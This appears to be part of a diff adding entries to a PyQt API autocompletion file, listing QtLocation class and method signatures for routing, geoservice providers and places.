+QtLocation.QGeoRouteRequest.setRouteOptimization?4(QGeoRouteRequest.RouteOptimizations) +QtLocation.QGeoRouteRequest.routeOptimization?4() -> QGeoRouteRequest.RouteOptimizations +QtLocation.QGeoRouteRequest.setSegmentDetail?4(QGeoRouteRequest.SegmentDetail) +QtLocation.QGeoRouteRequest.segmentDetail?4() -> QGeoRouteRequest.SegmentDetail +QtLocation.QGeoRouteRequest.setManeuverDetail?4(QGeoRouteRequest.ManeuverDetail) +QtLocation.QGeoRouteRequest.maneuverDetail?4() -> QGeoRouteRequest.ManeuverDetail +QtLocation.QGeoRouteRequest.setWaypointsMetadata?4(unknown-type) +QtLocation.QGeoRouteRequest.waypointsMetadata?4() -> unknown-type +QtLocation.QGeoRouteRequest.setExtraParameters?4(QVariantMap) +QtLocation.QGeoRouteRequest.extraParameters?4() -> QVariantMap +QtLocation.QGeoRouteRequest.setDepartureTime?4(QDateTime) +QtLocation.QGeoRouteRequest.departureTime?4() -> QDateTime +QtLocation.QGeoRouteRequest.TravelModes?1() +QtLocation.QGeoRouteRequest.TravelModes.__init__?1(self) +QtLocation.QGeoRouteRequest.TravelModes?1(int) +QtLocation.QGeoRouteRequest.TravelModes.__init__?1(self, int) +QtLocation.QGeoRouteRequest.TravelModes?1(QGeoRouteRequest.TravelModes) +QtLocation.QGeoRouteRequest.TravelModes.__init__?1(self, QGeoRouteRequest.TravelModes) +QtLocation.QGeoRouteRequest.FeatureTypes?1() +QtLocation.QGeoRouteRequest.FeatureTypes.__init__?1(self) +QtLocation.QGeoRouteRequest.FeatureTypes?1(int) +QtLocation.QGeoRouteRequest.FeatureTypes.__init__?1(self, int) +QtLocation.QGeoRouteRequest.FeatureTypes?1(QGeoRouteRequest.FeatureTypes) +QtLocation.QGeoRouteRequest.FeatureTypes.__init__?1(self, QGeoRouteRequest.FeatureTypes) +QtLocation.QGeoRouteRequest.FeatureWeights?1() +QtLocation.QGeoRouteRequest.FeatureWeights.__init__?1(self) +QtLocation.QGeoRouteRequest.FeatureWeights?1(int) +QtLocation.QGeoRouteRequest.FeatureWeights.__init__?1(self, int) +QtLocation.QGeoRouteRequest.FeatureWeights?1(QGeoRouteRequest.FeatureWeights) +QtLocation.QGeoRouteRequest.FeatureWeights.__init__?1(self, QGeoRouteRequest.FeatureWeights) +QtLocation.QGeoRouteRequest.RouteOptimizations?1() +QtLocation.QGeoRouteRequest.RouteOptimizations.__init__?1(self) +QtLocation.QGeoRouteRequest.RouteOptimizations?1(int) +QtLocation.QGeoRouteRequest.RouteOptimizations.__init__?1(self, int) +QtLocation.QGeoRouteRequest.RouteOptimizations?1(QGeoRouteRequest.RouteOptimizations) +QtLocation.QGeoRouteRequest.RouteOptimizations.__init__?1(self, QGeoRouteRequest.RouteOptimizations) +QtLocation.QGeoRouteRequest.SegmentDetails?1() +QtLocation.QGeoRouteRequest.SegmentDetails.__init__?1(self) +QtLocation.QGeoRouteRequest.SegmentDetails?1(int) +QtLocation.QGeoRouteRequest.SegmentDetails.__init__?1(self, int) +QtLocation.QGeoRouteRequest.SegmentDetails?1(QGeoRouteRequest.SegmentDetails) +QtLocation.QGeoRouteRequest.SegmentDetails.__init__?1(self, QGeoRouteRequest.SegmentDetails) +QtLocation.QGeoRouteRequest.ManeuverDetails?1() +QtLocation.QGeoRouteRequest.ManeuverDetails.__init__?1(self) +QtLocation.QGeoRouteRequest.ManeuverDetails?1(int) +QtLocation.QGeoRouteRequest.ManeuverDetails.__init__?1(self, int) +QtLocation.QGeoRouteRequest.ManeuverDetails?1(QGeoRouteRequest.ManeuverDetails) +QtLocation.QGeoRouteRequest.ManeuverDetails.__init__?1(self, QGeoRouteRequest.ManeuverDetails) +QtLocation.QGeoRouteSegment?1() +QtLocation.QGeoRouteSegment.__init__?1(self) +QtLocation.QGeoRouteSegment?1(QGeoRouteSegment) +QtLocation.QGeoRouteSegment.__init__?1(self, QGeoRouteSegment) +QtLocation.QGeoRouteSegment.isValid?4() -> bool +QtLocation.QGeoRouteSegment.setNextRouteSegment?4(QGeoRouteSegment) +QtLocation.QGeoRouteSegment.nextRouteSegment?4() -> QGeoRouteSegment +QtLocation.QGeoRouteSegment.setTravelTime?4(int) +QtLocation.QGeoRouteSegment.travelTime?4() -> int +QtLocation.QGeoRouteSegment.setDistance?4(float) +QtLocation.QGeoRouteSegment.distance?4() -> float +QtLocation.QGeoRouteSegment.setPath?4(unknown-type) +QtLocation.QGeoRouteSegment.path?4() -> unknown-type +QtLocation.QGeoRouteSegment.setManeuver?4(QGeoManeuver) +QtLocation.QGeoRouteSegment.maneuver?4() -> QGeoManeuver +QtLocation.QGeoRouteSegment.isLegLastSegment?4() -> bool +QtLocation.QGeoRoutingManager.managerName?4() -> QString +QtLocation.QGeoRoutingManager.managerVersion?4() -> int +QtLocation.QGeoRoutingManager.calculateRoute?4(QGeoRouteRequest) -> QGeoRouteReply +QtLocation.QGeoRoutingManager.updateRoute?4(QGeoRoute, QGeoCoordinate) -> QGeoRouteReply +QtLocation.QGeoRoutingManager.supportedTravelModes?4() -> QGeoRouteRequest.TravelModes +QtLocation.QGeoRoutingManager.supportedFeatureTypes?4() -> QGeoRouteRequest.FeatureTypes +QtLocation.QGeoRoutingManager.supportedFeatureWeights?4() -> QGeoRouteRequest.FeatureWeights +QtLocation.QGeoRoutingManager.supportedRouteOptimizations?4() -> QGeoRouteRequest.RouteOptimizations +QtLocation.QGeoRoutingManager.supportedSegmentDetails?4() -> QGeoRouteRequest.SegmentDetails +QtLocation.QGeoRoutingManager.supportedManeuverDetails?4() -> QGeoRouteRequest.ManeuverDetails +QtLocation.QGeoRoutingManager.setLocale?4(QLocale) +QtLocation.QGeoRoutingManager.locale?4() -> QLocale +QtLocation.QGeoRoutingManager.setMeasurementSystem?4(QLocale.MeasurementSystem) +QtLocation.QGeoRoutingManager.measurementSystem?4() -> QLocale.MeasurementSystem +QtLocation.QGeoRoutingManager.finished?4(QGeoRouteReply) +QtLocation.QGeoRoutingManager.error?4(QGeoRouteReply, QGeoRouteReply.Error, QString errorString='') +QtLocation.QGeoRoutingManagerEngine?1(QVariantMap, QObject parent=None) +QtLocation.QGeoRoutingManagerEngine.__init__?1(self, QVariantMap, QObject parent=None) +QtLocation.QGeoRoutingManagerEngine.managerName?4() -> QString +QtLocation.QGeoRoutingManagerEngine.managerVersion?4() -> int +QtLocation.QGeoRoutingManagerEngine.calculateRoute?4(QGeoRouteRequest) -> QGeoRouteReply +QtLocation.QGeoRoutingManagerEngine.updateRoute?4(QGeoRoute, QGeoCoordinate) -> QGeoRouteReply +QtLocation.QGeoRoutingManagerEngine.supportedTravelModes?4() -> QGeoRouteRequest.TravelModes +QtLocation.QGeoRoutingManagerEngine.supportedFeatureTypes?4() -> QGeoRouteRequest.FeatureTypes +QtLocation.QGeoRoutingManagerEngine.supportedFeatureWeights?4() -> QGeoRouteRequest.FeatureWeights +QtLocation.QGeoRoutingManagerEngine.supportedRouteOptimizations?4() -> QGeoRouteRequest.RouteOptimizations +QtLocation.QGeoRoutingManagerEngine.supportedSegmentDetails?4() -> QGeoRouteRequest.SegmentDetails +QtLocation.QGeoRoutingManagerEngine.supportedManeuverDetails?4() -> QGeoRouteRequest.ManeuverDetails +QtLocation.QGeoRoutingManagerEngine.setLocale?4(QLocale) +QtLocation.QGeoRoutingManagerEngine.locale?4() -> QLocale +QtLocation.QGeoRoutingManagerEngine.setMeasurementSystem?4(QLocale.MeasurementSystem) +QtLocation.QGeoRoutingManagerEngine.measurementSystem?4() -> QLocale.MeasurementSystem +QtLocation.QGeoRoutingManagerEngine.finished?4(QGeoRouteReply) +QtLocation.QGeoRoutingManagerEngine.error?4(QGeoRouteReply, QGeoRouteReply.Error, QString errorString='') +QtLocation.QGeoRoutingManagerEngine.setSupportedTravelModes?4(QGeoRouteRequest.TravelModes) +QtLocation.QGeoRoutingManagerEngine.setSupportedFeatureTypes?4(QGeoRouteRequest.FeatureTypes) +QtLocation.QGeoRoutingManagerEngine.setSupportedFeatureWeights?4(QGeoRouteRequest.FeatureWeights) +QtLocation.QGeoRoutingManagerEngine.setSupportedRouteOptimizations?4(QGeoRouteRequest.RouteOptimizations) +QtLocation.QGeoRoutingManagerEngine.setSupportedSegmentDetails?4(QGeoRouteRequest.SegmentDetails) +QtLocation.QGeoRoutingManagerEngine.setSupportedManeuverDetails?4(QGeoRouteRequest.ManeuverDetails) +QtLocation.QGeoServiceProvider.NavigationFeature?10 +QtLocation.QGeoServiceProvider.NavigationFeature.NoNavigationFeatures?10 +QtLocation.QGeoServiceProvider.NavigationFeature.OnlineNavigationFeature?10 +QtLocation.QGeoServiceProvider.NavigationFeature.OfflineNavigationFeature?10 +QtLocation.QGeoServiceProvider.NavigationFeature.AnyNavigationFeatures?10 +QtLocation.QGeoServiceProvider.PlacesFeature?10 +QtLocation.QGeoServiceProvider.PlacesFeature.NoPlacesFeatures?10 +QtLocation.QGeoServiceProvider.PlacesFeature.OnlinePlacesFeature?10 +QtLocation.QGeoServiceProvider.PlacesFeature.OfflinePlacesFeature?10 +QtLocation.QGeoServiceProvider.PlacesFeature.SavePlaceFeature?10 +QtLocation.QGeoServiceProvider.PlacesFeature.RemovePlaceFeature?10 +QtLocation.QGeoServiceProvider.PlacesFeature.SaveCategoryFeature?10 +QtLocation.QGeoServiceProvider.PlacesFeature.RemoveCategoryFeature?10 +QtLocation.QGeoServiceProvider.PlacesFeature.PlaceRecommendationsFeature?10 +QtLocation.QGeoServiceProvider.PlacesFeature.SearchSuggestionsFeature?10 +QtLocation.QGeoServiceProvider.PlacesFeature.LocalizedPlacesFeature?10 +QtLocation.QGeoServiceProvider.PlacesFeature.NotificationsFeature?10 +QtLocation.QGeoServiceProvider.PlacesFeature.PlaceMatchingFeature?10 +QtLocation.QGeoServiceProvider.PlacesFeature.AnyPlacesFeatures?10 +QtLocation.QGeoServiceProvider.MappingFeature?10 +QtLocation.QGeoServiceProvider.MappingFeature.NoMappingFeatures?10 +QtLocation.QGeoServiceProvider.MappingFeature.OnlineMappingFeature?10 +QtLocation.QGeoServiceProvider.MappingFeature.OfflineMappingFeature?10 +QtLocation.QGeoServiceProvider.MappingFeature.LocalizedMappingFeature?10 +QtLocation.QGeoServiceProvider.MappingFeature.AnyMappingFeatures?10 +QtLocation.QGeoServiceProvider.GeocodingFeature?10 +QtLocation.QGeoServiceProvider.GeocodingFeature.NoGeocodingFeatures?10 +QtLocation.QGeoServiceProvider.GeocodingFeature.OnlineGeocodingFeature?10 +QtLocation.QGeoServiceProvider.GeocodingFeature.OfflineGeocodingFeature?10 +QtLocation.QGeoServiceProvider.GeocodingFeature.ReverseGeocodingFeature?10 +QtLocation.QGeoServiceProvider.GeocodingFeature.LocalizedGeocodingFeature?10 +QtLocation.QGeoServiceProvider.GeocodingFeature.AnyGeocodingFeatures?10 +QtLocation.QGeoServiceProvider.RoutingFeature?10 +QtLocation.QGeoServiceProvider.RoutingFeature.NoRoutingFeatures?10 +QtLocation.QGeoServiceProvider.RoutingFeature.OnlineRoutingFeature?10 +QtLocation.QGeoServiceProvider.RoutingFeature.OfflineRoutingFeature?10 +QtLocation.QGeoServiceProvider.RoutingFeature.LocalizedRoutingFeature?10 +QtLocation.QGeoServiceProvider.RoutingFeature.RouteUpdatesFeature?10 +QtLocation.QGeoServiceProvider.RoutingFeature.AlternativeRoutesFeature?10 +QtLocation.QGeoServiceProvider.RoutingFeature.ExcludeAreasRoutingFeature?10 +QtLocation.QGeoServiceProvider.RoutingFeature.AnyRoutingFeatures?10 +QtLocation.QGeoServiceProvider.Error?10 +QtLocation.QGeoServiceProvider.Error.NoError?10 +QtLocation.QGeoServiceProvider.Error.NotSupportedError?10 +QtLocation.QGeoServiceProvider.Error.UnknownParameterError?10 +QtLocation.QGeoServiceProvider.Error.MissingRequiredParameterError?10 +QtLocation.QGeoServiceProvider.Error.ConnectionError?10 +QtLocation.QGeoServiceProvider.Error.LoaderError?10 +QtLocation.QGeoServiceProvider?1(QString, QVariantMap parameters={}, bool allowExperimental=False) +QtLocation.QGeoServiceProvider.__init__?1(self, QString, QVariantMap parameters={}, bool allowExperimental=False) +QtLocation.QGeoServiceProvider.availableServiceProviders?4() -> QStringList +QtLocation.QGeoServiceProvider.routingFeatures?4() -> QGeoServiceProvider.RoutingFeatures +QtLocation.QGeoServiceProvider.geocodingFeatures?4() -> QGeoServiceProvider.GeocodingFeatures +QtLocation.QGeoServiceProvider.mappingFeatures?4() -> QGeoServiceProvider.MappingFeatures +QtLocation.QGeoServiceProvider.placesFeatures?4() -> QGeoServiceProvider.PlacesFeatures +QtLocation.QGeoServiceProvider.geocodingManager?4() -> QGeoCodingManager +QtLocation.QGeoServiceProvider.routingManager?4() -> QGeoRoutingManager +QtLocation.QGeoServiceProvider.placeManager?4() -> QPlaceManager +QtLocation.QGeoServiceProvider.error?4() -> QGeoServiceProvider.Error +QtLocation.QGeoServiceProvider.errorString?4() -> QString +QtLocation.QGeoServiceProvider.setParameters?4(QVariantMap) +QtLocation.QGeoServiceProvider.setLocale?4(QLocale) +QtLocation.QGeoServiceProvider.setAllowExperimental?4(bool) +QtLocation.QGeoServiceProvider.navigationFeatures?4() -> QGeoServiceProvider.NavigationFeatures +QtLocation.QGeoServiceProvider.navigationManager?4() -> QNavigationManager +QtLocation.QGeoServiceProvider.mappingError?4() -> QGeoServiceProvider.Error +QtLocation.QGeoServiceProvider.mappingErrorString?4() -> QString +QtLocation.QGeoServiceProvider.geocodingError?4() -> QGeoServiceProvider.Error +QtLocation.QGeoServiceProvider.geocodingErrorString?4() -> QString +QtLocation.QGeoServiceProvider.routingError?4() -> QGeoServiceProvider.Error +QtLocation.QGeoServiceProvider.routingErrorString?4() -> QString +QtLocation.QGeoServiceProvider.placesError?4() -> QGeoServiceProvider.Error +QtLocation.QGeoServiceProvider.placesErrorString?4() -> QString +QtLocation.QGeoServiceProvider.navigationError?4() -> QGeoServiceProvider.Error +QtLocation.QGeoServiceProvider.navigationErrorString?4() -> QString +QtLocation.QGeoServiceProvider.RoutingFeatures?1() +QtLocation.QGeoServiceProvider.RoutingFeatures.__init__?1(self) +QtLocation.QGeoServiceProvider.RoutingFeatures?1(int) +QtLocation.QGeoServiceProvider.RoutingFeatures.__init__?1(self, int) +QtLocation.QGeoServiceProvider.RoutingFeatures?1(QGeoServiceProvider.RoutingFeatures) +QtLocation.QGeoServiceProvider.RoutingFeatures.__init__?1(self, QGeoServiceProvider.RoutingFeatures) +QtLocation.QGeoServiceProvider.GeocodingFeatures?1() +QtLocation.QGeoServiceProvider.GeocodingFeatures.__init__?1(self) +QtLocation.QGeoServiceProvider.GeocodingFeatures?1(int) +QtLocation.QGeoServiceProvider.GeocodingFeatures.__init__?1(self, int) +QtLocation.QGeoServiceProvider.GeocodingFeatures?1(QGeoServiceProvider.GeocodingFeatures) +QtLocation.QGeoServiceProvider.GeocodingFeatures.__init__?1(self, QGeoServiceProvider.GeocodingFeatures) +QtLocation.QGeoServiceProvider.MappingFeatures?1() +QtLocation.QGeoServiceProvider.MappingFeatures.__init__?1(self) +QtLocation.QGeoServiceProvider.MappingFeatures?1(int) +QtLocation.QGeoServiceProvider.MappingFeatures.__init__?1(self, int) +QtLocation.QGeoServiceProvider.MappingFeatures?1(QGeoServiceProvider.MappingFeatures) +QtLocation.QGeoServiceProvider.MappingFeatures.__init__?1(self, QGeoServiceProvider.MappingFeatures) +QtLocation.QGeoServiceProvider.PlacesFeatures?1() +QtLocation.QGeoServiceProvider.PlacesFeatures.__init__?1(self) +QtLocation.QGeoServiceProvider.PlacesFeatures?1(int) +QtLocation.QGeoServiceProvider.PlacesFeatures.__init__?1(self, int) +QtLocation.QGeoServiceProvider.PlacesFeatures?1(QGeoServiceProvider.PlacesFeatures) +QtLocation.QGeoServiceProvider.PlacesFeatures.__init__?1(self, QGeoServiceProvider.PlacesFeatures) +QtLocation.QGeoServiceProvider.NavigationFeatures?1() +QtLocation.QGeoServiceProvider.NavigationFeatures.__init__?1(self) +QtLocation.QGeoServiceProvider.NavigationFeatures?1(int) +QtLocation.QGeoServiceProvider.NavigationFeatures.__init__?1(self, int) +QtLocation.QGeoServiceProvider.NavigationFeatures?1(QGeoServiceProvider.NavigationFeatures) +QtLocation.QGeoServiceProvider.NavigationFeatures.__init__?1(self, QGeoServiceProvider.NavigationFeatures) +QtLocation.QLocation.Visibility?10 +QtLocation.QLocation.Visibility.UnspecifiedVisibility?10 +QtLocation.QLocation.Visibility.DeviceVisibility?10 +QtLocation.QLocation.Visibility.PrivateVisibility?10 +QtLocation.QLocation.Visibility.PublicVisibility?10 +QtLocation.QLocation.VisibilityScope?1() +QtLocation.QLocation.VisibilityScope.__init__?1(self) +QtLocation.QLocation.VisibilityScope?1(int) +QtLocation.QLocation.VisibilityScope.__init__?1(self, int) +QtLocation.QLocation.VisibilityScope?1(QLocation.VisibilityScope) +QtLocation.QLocation.VisibilityScope.__init__?1(self, QLocation.VisibilityScope) +QtLocation.QPlace?1() +QtLocation.QPlace.__init__?1(self) +QtLocation.QPlace?1(QPlace) +QtLocation.QPlace.__init__?1(self, QPlace) +QtLocation.QPlace.categories?4() -> unknown-type +QtLocation.QPlace.setCategory?4(QPlaceCategory) +QtLocation.QPlace.setCategories?4(unknown-type) +QtLocation.QPlace.location?4() -> QGeoLocation +QtLocation.QPlace.setLocation?4(QGeoLocation) +QtLocation.QPlace.ratings?4() -> QPlaceRatings +QtLocation.QPlace.setRatings?4(QPlaceRatings) +QtLocation.QPlace.supplier?4() -> QPlaceSupplier +QtLocation.QPlace.setSupplier?4(QPlaceSupplier) +QtLocation.QPlace.attribution?4() -> QString +QtLocation.QPlace.setAttribution?4(QString) +QtLocation.QPlace.icon?4() -> QPlaceIcon +QtLocation.QPlace.setIcon?4(QPlaceIcon) +QtLocation.QPlace.content?4(QPlaceContent.Type) -> unknown-type +QtLocation.QPlace.setContent?4(QPlaceContent.Type, unknown-type) +QtLocation.QPlace.insertContent?4(QPlaceContent.Type, unknown-type) +QtLocation.QPlace.totalContentCount?4(QPlaceContent.Type) -> int +QtLocation.QPlace.setTotalContentCount?4(QPlaceContent.Type, int) +QtLocation.QPlace.name?4() -> QString +QtLocation.QPlace.setName?4(QString) +QtLocation.QPlace.placeId?4() -> QString +QtLocation.QPlace.setPlaceId?4(QString) +QtLocation.QPlace.primaryPhone?4() -> QString +QtLocation.QPlace.primaryFax?4() -> QString +QtLocation.QPlace.primaryEmail?4() -> QString +QtLocation.QPlace.primaryWebsite?4() -> QUrl +QtLocation.QPlace.detailsFetched?4() -> bool +QtLocation.QPlace.setDetailsFetched?4(bool) +QtLocation.QPlace.extendedAttributeTypes?4() -> QStringList +QtLocation.QPlace.extendedAttribute?4(QString) -> QPlaceAttribute +QtLocation.QPlace.setExtendedAttribute?4(QString, QPlaceAttribute) +QtLocation.QPlace.removeExtendedAttribute?4(QString) +QtLocation.QPlace.contactTypes?4() -> QStringList +QtLocation.QPlace.contactDetails?4(QString) -> unknown-type +QtLocation.QPlace.setContactDetails?4(QString, unknown-type) +QtLocation.QPlace.appendContactDetail?4(QString, QPlaceContactDetail) +QtLocation.QPlace.removeContactDetails?4(QString) +QtLocation.QPlace.visibility?4() -> QLocation.Visibility +QtLocation.QPlace.setVisibility?4(QLocation.Visibility) +QtLocation.QPlace.isEmpty?4() -> bool +QtLocation.QPlaceAttribute.OpeningHours?7 +QtLocation.QPlaceAttribute.Payment?7 +QtLocation.QPlaceAttribute.Provider?7 +QtLocation.QPlaceAttribute?1() +QtLocation.QPlaceAttribute.__init__?1(self) +QtLocation.QPlaceAttribute?1(QPlaceAttribute) +QtLocation.QPlaceAttribute.__init__?1(self, QPlaceAttribute) +QtLocation.QPlaceAttribute.label?4() -> QString +QtLocation.QPlaceAttribute.setLabel?4(QString) +QtLocation.QPlaceAttribute.text?4() -> QString +QtLocation.QPlaceAttribute.setText?4(QString) +QtLocation.QPlaceAttribute.isEmpty?4() -> bool +QtLocation.QPlaceCategory?1() +QtLocation.QPlaceCategory.__init__?1(self) +QtLocation.QPlaceCategory?1(QPlaceCategory) +QtLocation.QPlaceCategory.__init__?1(self, QPlaceCategory) +QtLocation.QPlaceCategory.categoryId?4() -> QString +QtLocation.QPlaceCategory.setCategoryId?4(QString) +QtLocation.QPlaceCategory.name?4() -> QString +QtLocation.QPlaceCategory.setName?4(QString) +QtLocation.QPlaceCategory.visibility?4() -> QLocation.Visibility +QtLocation.QPlaceCategory.setVisibility?4(QLocation.Visibility) +QtLocation.QPlaceCategory.icon?4() -> QPlaceIcon +QtLocation.QPlaceCategory.setIcon?4(QPlaceIcon) +QtLocation.QPlaceCategory.isEmpty?4() -> bool +QtLocation.QPlaceContactDetail.Email?7 +QtLocation.QPlaceContactDetail.Fax?7 +QtLocation.QPlaceContactDetail.Phone?7 +QtLocation.QPlaceContactDetail.Website?7 +QtLocation.QPlaceContactDetail?1() +QtLocation.QPlaceContactDetail.__init__?1(self) +QtLocation.QPlaceContactDetail?1(QPlaceContactDetail) +QtLocation.QPlaceContactDetail.__init__?1(self, QPlaceContactDetail) +QtLocation.QPlaceContactDetail.label?4() -> QString +QtLocation.QPlaceContactDetail.setLabel?4(QString) +QtLocation.QPlaceContactDetail.value?4() -> QString +QtLocation.QPlaceContactDetail.setValue?4(QString) +QtLocation.QPlaceContactDetail.clear?4() +QtLocation.QPlaceContent.Type?10 +QtLocation.QPlaceContent.Type.NoType?10 +QtLocation.QPlaceContent.Type.ImageType?10 +QtLocation.QPlaceContent.Type.ReviewType?10 +QtLocation.QPlaceContent.Type.EditorialType?10 +QtLocation.QPlaceContent.Type.CustomType?10 +QtLocation.QPlaceContent?1() +QtLocation.QPlaceContent.__init__?1(self) +QtLocation.QPlaceContent?1(QPlaceContent) +QtLocation.QPlaceContent.__init__?1(self, QPlaceContent) +QtLocation.QPlaceContent.type?4() -> QPlaceContent.Type +QtLocation.QPlaceContent.supplier?4() -> QPlaceSupplier +QtLocation.QPlaceContent.setSupplier?4(QPlaceSupplier) +QtLocation.QPlaceContent.user?4() -> QPlaceUser +QtLocation.QPlaceContent.setUser?4(QPlaceUser) +QtLocation.QPlaceContent.attribution?4() -> QString +QtLocation.QPlaceContent.setAttribution?4(QString) +QtLocation.QPlaceReply.Type?10 +QtLocation.QPlaceReply.Type.Reply?10 +QtLocation.QPlaceReply.Type.DetailsReply?10 +QtLocation.QPlaceReply.Type.SearchReply?10 +QtLocation.QPlaceReply.Type.SearchSuggestionReply?10 +QtLocation.QPlaceReply.Type.ContentReply?10 +QtLocation.QPlaceReply.Type.IdReply?10 +QtLocation.QPlaceReply.Type.MatchReply?10 +QtLocation.QPlaceReply.Error?10 +QtLocation.QPlaceReply.Error.NoError?10 +QtLocation.QPlaceReply.Error.PlaceDoesNotExistError?10 +QtLocation.QPlaceReply.Error.CategoryDoesNotExistError?10 +QtLocation.QPlaceReply.Error.CommunicationError?10 +QtLocation.QPlaceReply.Error.ParseError?10 +QtLocation.QPlaceReply.Error.PermissionsError?10 +QtLocation.QPlaceReply.Error.UnsupportedError?10 +QtLocation.QPlaceReply.Error.BadArgumentError?10 +QtLocation.QPlaceReply.Error.CancelError?10 +QtLocation.QPlaceReply.Error.UnknownError?10 +QtLocation.QPlaceReply?1(QObject parent=None) +QtLocation.QPlaceReply.__init__?1(self, QObject parent=None) +QtLocation.QPlaceReply.isFinished?4() -> bool +QtLocation.QPlaceReply.type?4() -> QPlaceReply.Type +QtLocation.QPlaceReply.errorString?4() -> QString +QtLocation.QPlaceReply.error?4() -> QPlaceReply.Error +QtLocation.QPlaceReply.abort?4() +QtLocation.QPlaceReply.aborted?4() +QtLocation.QPlaceReply.finished?4() +QtLocation.QPlaceReply.error?4(QPlaceReply.Error, QString errorString='') +QtLocation.QPlaceReply.contentUpdated?4() +QtLocation.QPlaceReply.setFinished?4(bool) +QtLocation.QPlaceReply.setError?4(QPlaceReply.Error, QString) +QtLocation.QPlaceContentReply?1(QObject parent=None) +QtLocation.QPlaceContentReply.__init__?1(self, QObject parent=None) +QtLocation.QPlaceContentReply.type?4() -> QPlaceReply.Type +QtLocation.QPlaceContentReply.content?4() -> unknown-type +QtLocation.QPlaceContentReply.totalCount?4() -> int +QtLocation.QPlaceContentReply.request?4() -> QPlaceContentRequest +QtLocation.QPlaceContentReply.previousPageRequest?4() -> QPlaceContentRequest +QtLocation.QPlaceContentReply.nextPageRequest?4() -> QPlaceContentRequest +QtLocation.QPlaceContentReply.setContent?4(unknown-type) +QtLocation.QPlaceContentReply.setTotalCount?4(int) +QtLocation.QPlaceContentReply.setRequest?4(QPlaceContentRequest) +QtLocation.QPlaceContentReply.setPreviousPageRequest?4(QPlaceContentRequest) +QtLocation.QPlaceContentReply.setNextPageRequest?4(QPlaceContentRequest) +QtLocation.QPlaceContentRequest?1() +QtLocation.QPlaceContentRequest.__init__?1(self) +QtLocation.QPlaceContentRequest?1(QPlaceContentRequest) +QtLocation.QPlaceContentRequest.__init__?1(self, QPlaceContentRequest) +QtLocation.QPlaceContentRequest.contentType?4() -> QPlaceContent.Type +QtLocation.QPlaceContentRequest.setContentType?4(QPlaceContent.Type) +QtLocation.QPlaceContentRequest.placeId?4() -> QString +QtLocation.QPlaceContentRequest.setPlaceId?4(QString) +QtLocation.QPlaceContentRequest.contentContext?4() -> QVariant +QtLocation.QPlaceContentRequest.setContentContext?4(QVariant) +QtLocation.QPlaceContentRequest.limit?4() -> int +QtLocation.QPlaceContentRequest.setLimit?4(int) +QtLocation.QPlaceContentRequest.clear?4() +QtLocation.QPlaceDetailsReply?1(QObject parent=None) +QtLocation.QPlaceDetailsReply.__init__?1(self, QObject parent=None) +QtLocation.QPlaceDetailsReply.type?4() -> QPlaceReply.Type +QtLocation.QPlaceDetailsReply.place?4() -> QPlace +QtLocation.QPlaceDetailsReply.setPlace?4(QPlace) +QtLocation.QPlaceEditorial?1() +QtLocation.QPlaceEditorial.__init__?1(self) +QtLocation.QPlaceEditorial?1(QPlaceContent) +QtLocation.QPlaceEditorial.__init__?1(self, QPlaceContent) +QtLocation.QPlaceEditorial?1(QPlaceEditorial) +QtLocation.QPlaceEditorial.__init__?1(self, QPlaceEditorial) +QtLocation.QPlaceEditorial.text?4() -> QString +QtLocation.QPlaceEditorial.setText?4(QString) +QtLocation.QPlaceEditorial.title?4() -> QString +QtLocation.QPlaceEditorial.setTitle?4(QString) +QtLocation.QPlaceEditorial.language?4() -> QString +QtLocation.QPlaceEditorial.setLanguage?4(QString) +QtLocation.QPlaceIcon.SingleUrl?7 +QtLocation.QPlaceIcon?1() +QtLocation.QPlaceIcon.__init__?1(self) +QtLocation.QPlaceIcon?1(QPlaceIcon) +QtLocation.QPlaceIcon.__init__?1(self, QPlaceIcon) +QtLocation.QPlaceIcon.url?4(QSize size=QSize()) -> QUrl +QtLocation.QPlaceIcon.manager?4() -> QPlaceManager +QtLocation.QPlaceIcon.setManager?4(QPlaceManager) +QtLocation.QPlaceIcon.parameters?4() -> QVariantMap +QtLocation.QPlaceIcon.setParameters?4(QVariantMap) +QtLocation.QPlaceIcon.isEmpty?4() -> bool +QtLocation.QPlaceIdReply.OperationType?10 +QtLocation.QPlaceIdReply.OperationType.SavePlace?10 +QtLocation.QPlaceIdReply.OperationType.SaveCategory?10 +QtLocation.QPlaceIdReply.OperationType.RemovePlace?10 +QtLocation.QPlaceIdReply.OperationType.RemoveCategory?10 +QtLocation.QPlaceIdReply?1(QPlaceIdReply.OperationType, QObject parent=None) +QtLocation.QPlaceIdReply.__init__?1(self, QPlaceIdReply.OperationType, QObject parent=None) +QtLocation.QPlaceIdReply.type?4() -> QPlaceReply.Type +QtLocation.QPlaceIdReply.operationType?4() -> QPlaceIdReply.OperationType +QtLocation.QPlaceIdReply.id?4() -> QString +QtLocation.QPlaceIdReply.setId?4(QString) +QtLocation.QPlaceImage?1() +QtLocation.QPlaceImage.__init__?1(self) +QtLocation.QPlaceImage?1(QPlaceContent) +QtLocation.QPlaceImage.__init__?1(self, QPlaceContent) +QtLocation.QPlaceImage?1(QPlaceImage) +QtLocation.QPlaceImage.__init__?1(self, QPlaceImage) +QtLocation.QPlaceImage.url?4() -> QUrl +QtLocation.QPlaceImage.setUrl?4(QUrl) +QtLocation.QPlaceImage.imageId?4() -> QString +QtLocation.QPlaceImage.setImageId?4(QString) +QtLocation.QPlaceImage.mimeType?4() -> QString +QtLocation.QPlaceImage.setMimeType?4(QString) +QtLocation.QPlaceManager.managerName?4() -> QString +QtLocation.QPlaceManager.managerVersion?4() -> int +QtLocation.QPlaceManager.getPlaceDetails?4(QString) -> QPlaceDetailsReply +QtLocation.QPlaceManager.getPlaceContent?4(QPlaceContentRequest) -> QPlaceContentReply +QtLocation.QPlaceManager.search?4(QPlaceSearchRequest) -> QPlaceSearchReply +QtLocation.QPlaceManager.searchSuggestions?4(QPlaceSearchRequest) -> QPlaceSearchSuggestionReply +QtLocation.QPlaceManager.savePlace?4(QPlace) -> QPlaceIdReply +QtLocation.QPlaceManager.removePlace?4(QString) -> QPlaceIdReply +QtLocation.QPlaceManager.saveCategory?4(QPlaceCategory, QString parentId='') -> QPlaceIdReply +QtLocation.QPlaceManager.removeCategory?4(QString) -> QPlaceIdReply +QtLocation.QPlaceManager.initializeCategories?4() -> QPlaceReply +QtLocation.QPlaceManager.parentCategoryId?4(QString) -> QString +QtLocation.QPlaceManager.childCategoryIds?4(QString parentId='') -> QStringList +QtLocation.QPlaceManager.category?4(QString) -> QPlaceCategory +QtLocation.QPlaceManager.childCategories?4(QString parentId='') -> unknown-type +QtLocation.QPlaceManager.locales?4() -> unknown-type +QtLocation.QPlaceManager.setLocale?4(QLocale) +QtLocation.QPlaceManager.setLocales?4(unknown-type) 